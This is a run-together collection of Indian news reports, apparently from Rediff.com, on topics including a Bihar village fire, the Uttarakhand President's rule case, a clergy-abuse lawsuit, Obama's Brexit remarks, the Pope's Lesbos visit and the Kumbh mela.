At least ten people, including five children and three women, were burnt to death in a fire on Friday in a village in Bihars Aurangabad district, police said.



Ten people including five children and three women were burnt alive in Harinagar village under Daudnagar police station in Aurangabad, a district police official said.



According to police, three people sustained serious burn injuries in the fire mishap.



Villagers told police that the fire started at one Bhola Paswans house, but soon spread to neighbouring houses of Baban Ram, Lalan Ram and Jata Paswan. There was a marriage function at Jata Paswans house and many guests had come. Most of the victims, therefore, are from his family, police said.



Daudnagar Sub Divisional Officer Rakesh Kumar said that injured have been admitted in the hospital for treatment. The district magistrate and superintendent of police are camping in the village.



The state government has announced a compensation of Rs 4 lakh to each of the victim.



Fire incidents are common during the summer months in rural Bihar, where people are vulnerable as most still live in thatched homes.



Officials said more than 400 cases of fire were reported in the state so far.
Civic authorities will serve notice on the Hindu god, asking him to pay the dues or face action, in the third such case in Bihar, M I Khan reports.

There seems to be no end to troubles for Lord Hanuman in Bihar. Two months after receiving an eviction notice in Begusarai district and a summons from Rohtas sub-divisional magistrates court, both in two different cases, Lord Hanuman has now been declared a property tax defaulter by the civic administration of Ara town.

According to officials of the Ara municipal corporation, there are three properties in the name of Lord Hanuman at Badi Mathiae area, taxes on which havent been paid. Concerned officials have informed the temple twice to pay the dues, but in vain.

Since the properties are in the name of Lord Hanuman, the notices will be served on him, asking him to pay the due tax immediately or face action.

That will involve putting up six hoardings of Lord Hanuman at different places in the town, declaring him to be a property tax defaulter if the due tax is not paid immediately, an official said.

Property tax amounting to Rs 4.33 lakh is due to be paid by Lord Hanuman, an official of the municipal corporation said.

Ara municipal commissioner Pramod Kumar said the provision is to issue notices to the property holder. These properties are in the name of Hanuman and the property tax has not been paid, he said.

This is not the first time Lord Hanuman is facing legal action in Bihar.

In February, a lower court in Rohtas district issued summons to him to appear in the court in connection with an encroachment case pertaining to a roadside temple dedicated to him. The sub-divisional magistrate had asked the god to appear in his court after hearing a complaint of encroachment filed by the state public works department.

Days before the Rohtas court order, civic authorities in Begusarai district issued an eviction notice to Bajrang Bali in another case of encroachment, pertaining to a temple constructed in Lohia Nagar area.

However, Bajrang Dal workers forced the authorities to dump the notice.

Image used for representational purpose only.
The Centre on Friday moved the Supreme Court challenging the Uttarakhand high court verdict quashing imposition of Presidents rule in the state.

Attorney General Mukul Rohatgi mentioned the appeal before a bench comprising Justices Dipak Misra and Shiva Kirti Singh, which asked him to approach the Registry for listing it for hearing on Friday itself.

The bench said that the Registry will seek permission from Chief Justice of India T S Thakur for listing of the appeal before an appropriate bench.

At the outset, the AG said that the Special Leave Petition has been filed on Friday morning but we dont have the copy of the judgment as it was not declared and only a speaking order was passed.

A bench headed by Justice Misra was sitting in the CJIs court as the CJI was at a scheduled conference of high court chief justices and judges in the national capital.

Justice Misra said in view of the non-availability of the CJI, some arrangement has to be done for its listing.

The AG said there was a need for an urgent hearing in view of the apparent problem likely to occur between Friday and Monday.

I want to press for the stay today itself, Rohatgi said.

A petition was also filed by nine Congress rebel MLAs who were disqualified by the Speaker and they have challenged the HC verdict keeping them away from participating in the floor test scheduled for April 29.

The AG, who was flanked by Additional Solicitors General Maninder Singh and Tushar Mehta and senior advocate Harish Salve who had appeared for Uttarakhand in the HC, said an SLP has been filed today morning challenging the verdict of

the HC pronounced yesterday by which Presidents proclamation under Article 356 has been quashed.

Senior advocates Kapil Sibal, Abhishek Manu Singhvi and Vivek Tankha were present on behalf of the Congress party.

Coming down heavily on the Centre for the March 27 proclamation under Art 356, the high court had on Thursday quashed the imposition of Presidents rule in Uttarakhand and restored the dismissed Congress government while castigating

the Centre for uprooting a democratically-elected government.

The HC had said the imposition of Presidents rule was contrary to the law laid down by the Supreme Court.

Directing revival of the Harish Rawat government, which was dismissed by the Centre on March 27, the high court had ordered that he should seek a vote of confidence in the assembly on April 29.

Image: Deposed Chief Minister Harish Rawat along with Congress supporters celebrate in Dehradun on Thursday as Uttarakhand High Court quashed the imposition of Presidents rule. Photograph: PTI
'I truly believe that I have to do everything in my power to make sure that kids are protected and safe,' Megan Peterson, who has filed a case against the Ottacamund diocese and Bishop A Amalraj, tells Ritu Jha/Rediff.com

"It's very, very, tough for Megan to learn he is still active in the ministry and has been restored at that ministry around kids," Jeff Anderson, Megan Peterson's attorney, tells Rediff.com

Peterson has filed a federal lawsuit against the Diocese of Ootacamund in Tamil Nadu and Bishop A Amalraj for reinstating convicted priest Father Joseph Jeyapaul, left.

Joseph Palanivel Jeyapaul, 61, served at the church between 2004 and 2005 in Greenbush, Minnesota, and sexually abused Peterson when she was 14, 15 years old. Megan had then wanted to become a nun.

The priest pleaded guilty to fourth degree criminal sexual conduct in the Roseau County District Court, Minnesota and was sentenced to a one year, one-day, jail term. He was deported to India in July 2015.

Less than six months later, the Diocese of Ootacamund lifted Jeyapaul's suspension following approval from the Vatican.

"We brought this action in federal court against the diocese for nuisance," says Anderson who filed the case April 19 in the United States District Court in Minnesota

Speaking to to Rediff.com over the telephone, Megan Peterson says, "I think strong action needed to be taken against the Catholic church and against Father Joseph."

"I truly believe that I have to do everything in my power to make sure that kids are protected and safe," she says.

Asked if she wanted to be a nun, she says, "Yes, but not anymore. I was 14 years old and wanted to become a nun. But I was assaulted.The incident took everything away.

"My career aspirations, my community, my mental health, my family were affected," she adds. "Now the Vatican and bishop's actions are adding a whole layer of issues and mental anguish that didn't exist."

"We have a letter signed by 500 people in that (Ottacamund) diocese, all of whom trust him and all of whom consider him their priest and their leader and believe him to be innocent," Anderson tells Rediff.com

"But in fact he is not innocent. He is convicted. He is a predator who has pleaded guilty to criminal offense of conduct in the US."

Bishop Amalraj, the attorney adds, is putting children in the diocese, who interact with Jeyapaul, in peril.

"Megan and we felt strongly," Anderson says, "to do something to stop the Vatican, to stop the bishop, to stop Jeyapaul abusing kids."

Asked how the case goes further from here, Anderson says, "The case has been filed in the Minnesota federal court. The federal court has the ability to use 'long arm law' to require the bishop to answer to the complaint. The court has the power to order the bishop to do certain things."

"If the bishop doesn't follow the order," the attorney warns, "then we will seek damages from the bishop until he removes the priest from the ministry and kids. By keeping him in the ministry and putting him back, he (the bishop) is doing further harm to Megan and that's why she is suing him to protect the kids."

The letter has been sent to Bishop Amalraj to let him know that the Diocese of Ottacamund and he have been sued. The bishop and the diocese have 30 to 60 days to respond to the letter.

"Kids there are unaware and unwarned and are unable to protect themselves and that is why this action is so important," says Anderson.

"I am astonished, shocked, outraged and worried about those kids in India," he adds.

The Vatican and the bishop need to protect children, the attorney says, adding that instead they are more interested in protecting the priest and their reputation.

"He is an admitted criminal," David Clohessy, Executive Director, Survivor's Network of those Abused by Priests -- SNAP, one of the largest, oldest and self-help group for clergy sex abuse victims, whether assaulted by ministers, priests, nuns or rabbis in the United States -- tells Rediff.com

"Our mission to support people who are abused and heal the wounded," Clohessy says, adding, "SNAP members this past week distributed leaflets We are basing this on the news we got from India."

"Kids are safe when predators are jailed," Clohessy says. "We want Catholics in India and the US to express outrage at church officials who should act to protect kids."

"We would be very grateful if Indian law enforcement would do whatever they can to protect kids from him," Clohessy adds.

Asked if Jeyapaul faces any charge in India, Clohessy says SNAP is not aware of any such charges, but notes that victims of sexual abuse often take decades to come forward.

Clohessy, who has been at SNAP for over two decades, believes strict rules imposed by the Vatican are not enough stop such sexual abuse. "What is needed is for Catholic officials to show courage and compassion."

The church, he says, is a monarchy with each bishop essentially the lord of his own kingdom. The Pope has virtually has given bishops that power. "They dont need new rules, they just need to act like decent people and protect kids from predators instead," Clohessy points out.

In a statement on the Vatican giving the Diocese of Ottacamund permission to reinstate Jeyapaul, Barbara Dorris, SNAP's Outreach Director, says, 'It may be the most irresponsible Vatican move we've ever seen: Catholic officials in Rome have lifted the suspension of a recently convicted predator priest. We are stunned and saddened by such blatant recklessness and callousness.'

'But we're grateful that one of the priest's victims is filing a new lawsuit,' Dorris adds, 'using a new approach, to try and protect kids from this admitted child molesting cleric.'
'If Kanhaiya can be attacked inside the court, who will assure us about his security when he is back on the JNU campus?'

M I Khan reports from Patna.

IMAGE: Kanhaiya Kumar's family celebrates his release from Tihar jail at their home in Begusarai, Bihar. Photograph: PTI Photo

A day after Jawaharlal Nehru University Students Union President Kanhaiya Kumar was released from Tihar jail and returned to the university campus, his parents, who live in a village in Bihar's Begusarai district, are worried about his safety.

They strongly fear that "Hinduvta forces may target him".



Jai Shankar Singh and Meena Devi, Kanhaiya's parents, are happy that their son has been released, but are concerned about his security.

"He (Kanhaiya) is facing a threat to his life. The 'Hindutva' forces may target him outside the JNU campus. The lawyers who thrashed him inside the court are linked to the BJP (Bharatiya Janata Party) and the RSS (Rashtriya Swayamsevak Sangh). They may target him again," says Jai Shankar Singh, who is in his early 60s and paralysed on one side of his body.

Singh told Rediff.com over the telephone from Begusarai that it is the government's responsibility to ensure Kanhaiya's safety inside and outside the JNU campus.

Meena Devi, Kanhaiya's mother -- an angaanwadi worker who earns Rs 3,000 a month -- wants the Delhi government to ensure his security.

"My son faces a threat from those who call him anti-national, who sent him to jail on a false case of sedition, who attacked him with the intention to kill him inside the court," she said.

"If Kanhaiya can be attacked inside the court," she asked, who will assure us about his security when he is back on the JNU campus?"
Spiritual guru Sri Sri Ravi Shankar has said that he tried to open peace talks with the Islamic State of Iraq and Syria but the deadliest terrorist organisation rejected the offer by sending him a photograph of a beheaded body of a man, India Today reported.

"I tried to initiate peace talks with the ISIS recently but they sent me a photograph of a beheaded body of a man. Thus, my effort for a peace dialogue with the ISIS ended," Sri Sri Ravi Shankar said.

After ISIS's response, Sri Sri changed his mind and said that the notorious terrorist outfit could only be dealt with militarily and there was no scope of a peaceful dialogue.

Earlier this week, Sri Sri urged the Manipur Chief Minister O Ibobi Singh to ask the insurgents to come to the negotiating table.
The venue where Jawaharlal Nehru University Students Union leader Kanhaiya Kumar was scheduled to address in the city on Saturday morning has been changed allegedly under "pressure" from Sangh Pariwar constituents, the event organisers claimed on Friday.

The event 'Student Youth Assembly Against Discrimination', which was earlier scheduled to be held at the Janata Shikshan Sanstha in Worli, has now been shifted to Adarsh Vidayalay in Tilak Nagar in Mumbai.

The programme has been organised by a number of Left wing organisations including, Student Federation of India, All India Students' Federation, All India Democratic Students organisations, Purogami Yuvak Sanghathana and Chhatrabharati.

Addressing a press conference here, the organising committee members alleged the change in the venue was due to the "pressure" created by the Sangh Pariwar constituents on the machinery.

"Despite abiding by the required criteria we were denied permission due to pressure from certain quarters as we did not get any written assurance from police for protection," Abhilasha Shrivastava, SFI secretary and member of the event organising committee, said.

"When we decided to hold the programme, we thought that the biggest problem will be the ongoing MumbaiUniversity exams. But during our campaign, we found that that was not an issue. The students were very welcoming. They wanted the leaders of various universities to come over here and interact with them. The problem has been created by police and the government machinery," she added.

Shrivastava further said, "The administration is being pressurised so that student leaders are unable to express their views."

Another member of the event organising committee, Dhanajay Kangude alleged, "The constituents of Sangh Pariwar are threatening organisers through various possible means.

"They pressurised Janata Sikshan Sanstha to get the programme cancelled."

Besides Kanhaiya Kumar, Allahabad University Student Union president Richa Singh, vice-president of JNUSU Shehla Rashid and others will speak on the occasion and advocate Irfan Engineer and Teesta Setalvad will be among those who will remain present there.
Mahatma Gandhi's granddaughter Tara Gandhi Bhattacharjee has been decorated with one of France's top honour The Order of Arts and Letters for her contribution in promoting peace, solidarity, culture, education, and development.

On behalf of the French President, Bhattacharjee, 82, was conferred the Officier de l'Ordre des Arts et Lettres (Order of Arts and Letters) honour in New Delhi on Wednesday by French Ambassador Francois Richier.

Accepting the award Bhattacharjee said there was need "to learn the fearlessness of Gandhi."

"The fearlessness of Gandhi was different. His was made of love and compassion. I remember his room, his doors were always open. One hardly had to take an appointment to meet him.

"I remember politicians coming out of the room saying they disagree with his view. They probably didn't change their view, but did become his friends for sure. That's the fearlessness we need today," she said.

"This honour comes in recognition of Bhattacharjee's remarkable work for promoting peace, solidarity, culture, education, and development through her commitment to perpetuating the memory and legacy of her grandfather, Mahatma Gandhi," a statement by the embassy said.

The daughter of late Devadas Gandhi and the late Lakshmi Devadas Gandhi, is the widow of the late Jyoti Prasad Bhattacharjee, a leading economist.

For the past 28 years, she has been working for the Kasturba Gandhi National Memorial Trust, founded by Mahatma Gandhi in memory of his wife to serve needy women and children of rural India.

The L'Ordre des Arts et des Lettres (Order of Arts and Letters) is a French government distinction for "persons who have distinguished themselves by their creativity in the field of art, culture and literature or for their contribution to the influence of arts in France and throughout the world."

Some noted Indian recipients of this honour in the past include Bharti Kher, Subodh Gupta, Shahrukh Khan, Pt Hariprasad Chaurasia, Aishwarya Rai, Raghu Rai, Ebrahim Alkazi, Habib Tanveer, and Upamanyu Chatterjee.

Image: French Ambassador Francois Richier conferred Officer of the Order of Arts and Letters on Tara Gandhi Bhattacharjee. Photograph: French Embassy
A one-man inquiry panel of the home ministry, probing the missing files related to the case of alleged fake encounter of Ishrat Jahan, has been asked to expedite its work and finish the task at the earliest.

Union Home Secretary Rajiv Mehrishi is believed to have told Additional Secretary in the home ministry B K Prasad to speed up the probe and file a report at the earliest as the government may have to face queries of MPs in the coming session of Parliament beginning Monday, official sources said.

Top home ministry officials are of the opinion that the files were misplaced and could be found if a concerted effort is made.

Prasad, a Tamil Nadu cadre IAS officer, is retiring on May 31 and the government wants the task given to him to be completed as early as possible.

Government does not want any delay in finding the files and wants a quick report and Prasad has been told this in clear terms, the sources said.

The panel, constituted on March 14 following an uproar in Parliament, was asked to inquire into the circumstances in which the files related to the case of Ishrat Jahan, who was killed in an alleged fake encounter in Gujarat in 2004, went missing.

The panel was asked to find out the person responsible for keeping the files and relevant issues.

The papers which went missing from the home ministry include the copy of an affidavit vetted by the Attorney General and submitted in the Gujarat High Court in 2009 and the draft of the second affidavit vetted by the AG on which changes were made.

Two letters written by the then Home Secretary G K Pillai to the then Attorney General late G E Vahanvati and the copy of the draft affidavit have so far been untraceable.

Home Minister Rajnath Singh had disclosed in Parliament on March 10 that the files were missing.

The first affidavit was filed on the basis of inputs from Maharashtra and Gujarat Police besides the Intelligence Bureau where it was said the 19-year-old girl from Mumbai outskirts was a Lashkar-e-Taiba activist but it was ignored in the second affidavit, home ministry officials said.

The second affidavit, claimed to have been drafted by the then Home Minister P Chidambaram, said there was no conclusive evidence to prove that Ishrat was a terrorist, the officials said.

Pillai had claimed that as home minister, Chidambaram had recalled the file a month after the original affidavit, which described Ishrat and her slain aides as LeT operatives, was filed in the court.

Subsequently, Chidambaram had said Pillai is equally responsible for the change in affidavit.

Ishrat, Javed Shaikh alias Pranesh Pillai, Amjadali Akbarali Rana and Zeeshan Johar were killed in an encounter with Gujarat Police on the outskirts of Ahmedabad on June 15, 2004.

The Gujarat Police had then said those killed in the encounters were LeT terrorists and had landed in Gujarat to kill the then Chief Minister Narendra Modi.
IMAGE: US President Barack Obama and First Lady Michelle Obama are greeted by Queen Elizabeth II and Prince Phillip, Duke of Edinburgh, after landing at Windsor Castle for a private lunch on Friday. Photograph: Alastair Grant/WPA Pool/Getty Images

United States President Barack Obama arrived in London with a message for the United Kingdom to vote to remain within the European Union in the June 23 referendum, saying the bloc enhances Britains global leadership.

In an article for the Daily Telegraph, Obama said on Friday that the UK is stronger within the 28-member bloc and will also be more effective in fighting terror as part of the EU.

"The European Union does not moderate British influence -- it magnifies it. A strong Europe is not a threat to Britains global leadership; it enhances Britain's global leadership," he wrote.

"The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic," he said.

"Together, the United States, the United Kingdom, and the European Union have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place. What a remarkable legacy that is. And what a remarkable legacy we will leave when, together, we meet the challenges of this young century as well," he concluded.

In response, British Prime Minister David Cameron tweeted, The US is one of our closest allies. So its important to hear Barack Obama on why we should remain in the EU.

However, Obamas strong intervention in favour of the Remain camp of the debate attracted strong criticism from the Vote Leave campaign, which accused him of being downright hypocritical.

"For the United States to tell us in the UK that we must surrender control of so much of our democracy -- it is a breathtaking example of the principle of do as I say, not as I do. It is incoherent. It is inconsistent, and yes it is downright hypocritical," said London mayor Boris Johnson, one of the leading voices calling for Brexit.

"The Americans would never contemplate anything like the EU for themselves or for their neighbours in their own hemisphere. Why should they think it right for us," he said.

Obama, along with First Lady Michelle Obama, arrived for his three-day visit of the UK late on Thursday night.

His official engagements will begin with a private lunch with Queen Elizabeth II, who turned 90 on Thursday, at WindsorCastle today followed by talks with Cameron.

Prince William and Kate will then host him and Michelle for an informal dinner at their KensingtonPalace home in London.

Obamas UK stay is part of a tour covering Saudi Arabia, which he left on Thursday after having discussions with King Salman, as well as Germany after the UK.
United States President Barack Obama made a poignant plea to the British electorate saying that as a friend and ally they need to stick together with the rest of the European Union.

According to the Guardian, Obama, who arrived in the United Kingdom to celebrate Queen Elizabeths 90th birthday, used careful diplomatic language to make a direct appeal to the voters.

As citizens of the United Kingdom take stock of their relationship with the EU, you should be proud that the EU has helped spread British values and practices - democracy, the rule of law, open markets - across the continent and to its periphery, he wrote in an article in the Daily Telegraph.

Evoking the close cooperation between the US and UK during the second World War, citing president Franklin D Roosevelts toast to King George VI in 1939, when he said: I am persuaded that the greatest single contribution our two countries have been enabled to make to civilisation, and to the welfare of peoples throughout the world, is the example we have jointly set by our manner of conducting relations between our two nations.

He added: The US sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward-looking, and closely linked to its allies on the other side of the Atlantic. So the US and the world need your outsized influence to continue - including within Europe.

UK Prime Minister David Cameron and Obama will also discuss the progress in taking on the Islamic State in Syria, where British planes have joined the US bombing campaign.

Please US President Barack Obama's full article HERE
Prince William and Duchess of Cambridge Kate Middletons royal visit to India rolls into its second day on Monday.

After wrapping up the Mumbai leg of the tour with a tech entrepreneurs showcase, the Royal couple headed to New Delhi where they first paid tribute at the Amar Jawan Jyoti.

Here are the best moments from Monday.

Prince William and Kate are mesmerised by the demonstration of the spinning wheel, similar to the one Mahatma Gandhi used during their visit to Gandhi Smriti in New Delhi. Photograph: Arthur Edwards - Pool/Getty Images

India Gate was the first stop for the Royal couple in New Delhi. The couple laid a wreath to honour the soldiers from Indian regiments who served in World War I at India Gate. Photograph: Dominic Lipinski - Pool/Getty Images

On the wreath they laid was a card written by William, which they had both signed, which read: 'Never forgetting those who had paid the ultimate sacrifice for India.' William also signed a visitors book. Photograph: Chris Jackson/Getty Images

The royal couple pose near a giant bronze statue of Gandhi with two children at the Gandhi Smriti. Kate, according to reports, asked their guide, museum director, Dipanker Shrigyan, the significance of the statue, to which he said that the girl, who was holding flowers, represented hope, and the boy who was holding a dove represented peace. Photograph: Saurabh Das/Pool/Reuters

Loving the fact that Kate's kicking back! Check out how she goes bare feet while interacting with students after paying homage to Mahatma Gandhi during a visit to Gandhi Smriti. Photograph: Kamal Singh/PTI

Earlier in the day, in Mumbai Prince William offered Kate a dosa he made on his own during an event. However, Kate wasn't interested. Photograph: Danish Siddiqui/Reuters

In the evening, the Royal couple celebrated the 90th birthday of their grandmother Queen Elizabeth II, by a cutting a cake with a sword at the British High Commission in New Delhi. Photograph: Vijay Verma/pool/Reuters
Pope Francis transformed the lives of a dozen Syrian refugees on Saturday when he plucked three families from a crowded camp on the Greek island of Lesbos and took them back to Rome.

IMAGE: Pope Francis welcomes a group of Syrian refugees after landing at Ciampino airport in Rome following a visit at the Moria refugee camp in the Greek island of Lesbos. Photograph: Filippo Monteforte/Pool/Reuters

Six adults and six children passed in hours from being inmates of a closed facility in Greece to new arrivals in continental Europe, where they will receive all the help they can be given.

Pope Francis said: Today I renew my heartfelt plea for responsibility and solidarity in the face of this tragic situation.

IMAGE: Six adults and six children were the lucky ones who were taken from Greece. Photograph: Filippo Monteforte/Pool/Reuters

The Vatican will take responsibility for supporting the families. But the Catholic SantEgidio community will take care of getting them settled initially.

The move came during the Popes emotional visit to Lesbos where he implored Europe to respond to the migrant crisis on its shores in a way that is worthy of our common humanity.

IMAGE: Pope Francis brought three Syrian refugee families back to Rome with him today following his trip to the Greek island of Lesbos. Photograph: Filippo Monteforte/Pool/Reuters

The Greek island just a few miles from the Turkish coast has seen hundreds of thousands of desperate people land on its shores in the last year, fleeing war and poverty at home.

When he arrived in Lesbos, Pope Francis was driven to Moria camp where he was greeted at the camp by a large group of children, some of whom arrived in Greece without their parents.

Addressing the refugees, he said: You are not alone. Do not lose hope.

IMAGE: Pope Francis meets migrants at the Moria detention centre in Mytilene, Lesbos, Greece. Photograph: Andrea Bonetti/Greek Prime Minister's Office via Getty Images

Many refugees fell to their knees and wept as Francis approached them. Others chanted Freedom! Freedom! as he passed by.

Refugees are not numbers, they are people who have faces, names stories and need to be treated as such, Francis tweeted.

IMAGE: Pope Francis kissed a refugee baby after his arrival at the Moria camp on Lesbos along with Greek Orthodox Ecumenical Patriarch Bartholomew I and Archbishop of Athens and All Greece, Ieronimos II. Photograph: Andrea Bonetti/Greek Prime Minister's Office via Getty Images

He urged the European Union to change its policy towards the migrants. He said: We hope that the world will heed these scenes of tragic and indeed desperate need, and respond in a way worthy of our common humanity.

IMAGE: Pope Francis greets migrants and refugees at the Moria refugee camp near the port of Mytilene, on the Greek island of Lesbos. Photograph: Filippo Monteforte/Pool/Reuters
The Pulitzer Prize is the highest award in newspaper and online journalism awarded each year in twenty-one categories.

Two teams of photographers working for The New York Times and Reuters received the Pulitzer Prize for breaking news photography on Monday for documenting the journeys of migrants and refugees.

The photographers followed thousands of migrants engaged in an exodus from Africa, Asia and the Middle East to Europe over the past year, in an effort to escape a sense of seemingly perpetual desperation in the region.

Among the winners were Yannis Behrakis, Alkis Konstantinidis and Alexandros Avramidis, three Greeks working for Reuters who captured the fight for survival within their own countrys borders.

Their work took them from the shores of the Aegean islands to the port of Piraeus to the Greece-Macedonia border.

Rediff.com presents a selection of the stunning images that won the prestigious award.

A Syrian refugee holds onto his children as he struggles to walk off a dinghy on the Greek island of Lesbos, after crossing a part of the Aegean Sea from Turkey to Lesbos. Photograph: Reuters/Yannis Behrakis

Hungarian policemen stand over a family of immigrants who threw themselves onto the track before they were detained at a railway station in the town of Bicske, Hungary. Photograph: Reuters/Laszlo Balogh

Syrian migrants cross under a fence as they enter Hungary at the border with Serbia, near Roszke. Photograph: Reuters/Bernadett Szabo

A Macedonian police officer raises his baton towards migrants to stop them from entering into Macedonia at Greece's border near the village of Idomeni, Greece. Photograph: Reuters/Alexandros Avramidis

A policeman tries to stop a migrant from boarding a train through a window at Gevgelija train station in Macedonia, close to the border with Greece. Photograph: Reuters/Stoyan Nenov

A Syrian refugee kisses his daughter as he walks through a rainstorm towards Greece's border with Macedonia, near the Greek village of Idomeni. Photograph: Reuters/Yannis Behrakis

Syrian refugees walk through the mud as they cross the border from Greece into Macedonia, near the Greek village of Idomeni. Photograph: Reuters/Yannis Behrakis

An Afghan migrant jumps off an overcrowded raft onto a beach at the Greek island of Lesbos. Photograph: Reuters/Yannis Behrakis

Amoun, 70, a blind Palestinian refugee who lived in the town of Aleppo in Syria, rests on a beach moments after arriving along with another forty on a dinghy in the Greek island of Kos, crossing a part of the Aegean Sea from Turkey to Greece. Photograph: Reuters/Yannis Behrakis

An overcrowded inflatable boat with Syrian refugees drifts in the Aegean sea between Turkey and Greece after its motor broke down off the Greek island of Kos. Photograph: Reuters/Yannis Behrakis

Migrants and refugees beg Macedonian policemen to allow passage to cross the border from Greece into Macedonia during a rainstorm, near the Greek village of Idomeni. Photograph: Reuters/Yannis Behrakis

An Afghan migrant is seen inside a bus following his arrival by the Eleftherios Venizelos passenger ferry with over 2,500 migrants and refugees from the island of Lesbos at the port of Piraeus, near Athens, Greece. Photograph: Reuters/Yannis Behrakis

Immigrants are escorted by German police to a registration centre, after crossing the Austrian-German border in Wegscheid near Passau, Germany. Photograph: Reuters/Michael Dalder

Migrants make their way on foot on the outskirts of Brezice, Slovenia. Slovenia's interior ministry raised the possibility on Tuesday of setting up physical barriers along its southeastern border if the numbers of migrants increased. Photograph: Reuters/Srdjan Zivulovic
A request for reinstatement by Delhi University professor G N Saibaba, who is out on bail in a case of alleged Maoist links, has resulted in a confrontation between a section of students and university teachers.

While the Delhi University Teachers Association is supporting the 90 per cent disabled professor on the issue of reinstatement, a group of students led by members of Akhil Bharatiya Vidyarthi Parishad is opposing it claiming the move will have a "bad influence" on students.

An English professor at Ram Lal Anand College, Saibaba was suspended from the DU following his arrest by the Maharashtra Police in 2014 for alleged Maoist links. He was lodged in Nagpur Central Jail for 14 months and granted bail in July 2015 after the court noticed his deteriorating health condition.

However, the bail was cancelled and he was re-arrested in December last.

The Supreme Court had earlier this month granted him bail saying the Maharashtra government has been "extremely unfair" to him.

"I have requested the college to reinstate my services, so I can get back to leading a normal life. I have been informed that a one-member committee has been formed by the college to look into the issue," Saibaba said.

The decision to form the committee was taken at a governing body meeting of the college in which representative of DUTA supported his demand.

However, members of ABVP led by Delhi University Students' Union Joint Secretary Chhatrapal Yadav staged a protest outside college on Thursday and submitted a memorandum to the authorities.

"He should not be allowed to join back because this will set a wrong precedent as well as have a bad influence on students. If the administration goes ahead with it, we will oppose the move," Yadav said.

When contacted, college principal Vijay K Sharma said, "The committee will look into the issue and a final decision will be taken only on basis of its recommendations."
Braving scorching heat, a multitude of sadhus along with their disciples chanting 'Jai Shri Ram' took 'shahi snan' (royal bath) at Ramghat in Shipra river in Madhya Pradesh's Ujjain on Friday on the opening day of the month-long Simhastha-Kumbh mela.

People drawn from different parts of the country and abroad are taking part in the Kumbh mela, one of the largest congregations of Hindus, which for the first time is witnessing the participation of the transgenders, who have put up an Akhara (temporary monastery) and announced to take a holy dip at the Gandharav Ghat of Shipra on May 9.

IMAGE: Naga Sadhus take holy dip in Shipra River on the first 'Shahi Snan' during Simhastha Mahakumbh in Ujjain. Photograph: PTI

"I am overwhelmed to be part of this awesome human gathering. I came here since yesterday," George Sauuahq, a Frenchman told PTI.

He said that he has come to India with a group of 12 persons from Paris.

"We made a point to stand witness to this mega event after coming to know about it," he said as he scrambled to shoot photos of the sadhus in different hues and attires at Ramghat.

Wheelchair-bound Tervani Devi (76) and her husband Durga Prasad (82) came to Shipra, that has been revived by pumping in the Narmada water, for the occasion, to take a holy dip, all the way from Hyderabad.

Tervani said that she was delighted after taking the royal bath.

Congress General Secretary Digvijay Singh also took a bath at Gaughat on the opening day of the Simhastha.

At around 8.15 am a stampede like situation was witnessed at Chhoti Pool area at the entrance of Ramghat when large number of seers in processions descended for the royal bath.

However, the situation was brought under control by the authorities swiftly.

Bada Udasin Akhara Pontiff Raghu Muni Maharaj along with others squatted at Ramghat for a while and protested against the vehicular traffic in the mela area.

He said that the vehicular traffic was obstructing seers' way to the ghat. However, he lifted his protest after government officials intervene.

IMAGE: Scores of seers descend on Ujjain to take royal bath at Kumbh. Photograph:PTI

Earlier, the Kumbh mela kicked off with Naga Sadhu of Juna Akhara venturing into the river around 5 am. Their head, Avdheshnandji Maharaj, who came in a huge procession took the 'shahi snan' amid tight security.

"As of now, all things are going on smoothly. Around 25,000 security personnel including central forces have been deployed to conduct the 'shahi snan'," Inspector General of Police, Ujjain, Madhu Kumar told PTI at Ramghat.

Meanwhile, lakhs of people thronged the roads leading to the ghats of Shipra river and waiting in serpentine queues to take the royal bath during the Mela which is being held in Ujjain after a gap of 12 years.

Ujjain is also the abode of Lord Mahakaleshwar, one of the 12 'jyotirlings' in the country.

"Over five crore pilgrims are expected to visit Ujjain and other holy places during the Kumbh, for which elaborate security and logistical arrangements have been made," Madhya Pradesh Chief Minister Shivraj Singh Chouhan had said on Thursday on the eve of the mela at Bhopal.
Gender rights activist Trupti Desai on Friday visited the Trimbakeshwar temple and offered prayers inside the sanctum sanctorum of the popular Lord Shiva shrine

which houses one of the 12 jyotirlingas.

Desai, along with three of her colleagues took darshan of the shivlinga in the garbha gruha around 6 am and left after nearly 15 minutes, said H P Kolhe, in charge of Trimbakeshwar police station.

The Bhumata Ranragini Brigade chief along with her aides followed the dress code, wet cotton or silk sarees, as decided by Trimbakeshwar Devasthan Trust and stood in the queue with other devotees before entering the core worship area, he said.

Later, they left the temple town in a vehicle.

Interacting with newspersons outside the temple after the darshan, Desai said their struggle for gaining entry into Shani Shingnapur in Ahmednagar and now at Trimbakeshwar temple has succeeded.

Desai vowed to take forward the struggle for entry of women into worship places across the country.

On Thursday, four activists, led by Vanita Gutte of Pune-based Swarajya Mahila Sanghatana, offered prayers inside the sacred sanctum amid police protection.

Recently, the Trimbakeshwar Devasthan Trust decided to allow women into the temples garbha griha for an hour everyday with a rider that they must wear wet cotton or silk clothes while offering prayers in the core area.

The development is significant as it came days after women were permitted entry to the Shani Shingnapur temple in Ahmednagar district of Maharashtra.

The issue of gender bias hogged national limelight in January when hundreds of women activists attempted to storm into the Shani Shingnapur temple. After months of protests, and the Bombay high court observing that entering a temple was a fundamental right of every person, the Shingnapur temple trust finally decided to allow womens entry on to the sacred platform (chauthara)--on which rock idol of Lord Shani is placed-- on April 8.

The decision opened doors for women to contest similar bans at other temples.
Though it would be wonderful for Indians to have the Kohinoor and the Peacock Throne displayed in all its glory at the Red Fort, it seems unlikely that the British will part with the Kohinoor in a hurry.

Rashme Sehgal reports.

The legend of the Kohinoor diamond is a story of intrigue, romance and adventure.

This legendary 105.6 carat diamond, whose name means 'Mountain of Light,' has been set in the Queen's crown and is presently on display in the Tower of London.

But there is no doubt that the diamond was taken from the Sikh ruler, Maharaja Duleep Singh, after the British annexation of the Punjab.

The Indian government had made several efforts to get back the diamond.

Kuldip Nayar, the former Indian high commissioner to the United Kingdom, describes how during his tenure in the 1990s, he lobbied for the return of the Kohinoor and thousands of rare Indian artefacts and manuscripts which are lying in the basement of the Victoria and Albert Museum in London.

"A BBC reporter asked me that Pakistan was also lobbying for the Kohinoor, so who should it go to?" Nayar recalls. "I replied, 'Let it go to Pakistan, but it must be returned to the sub-continent from where it had been taken forcibly'."

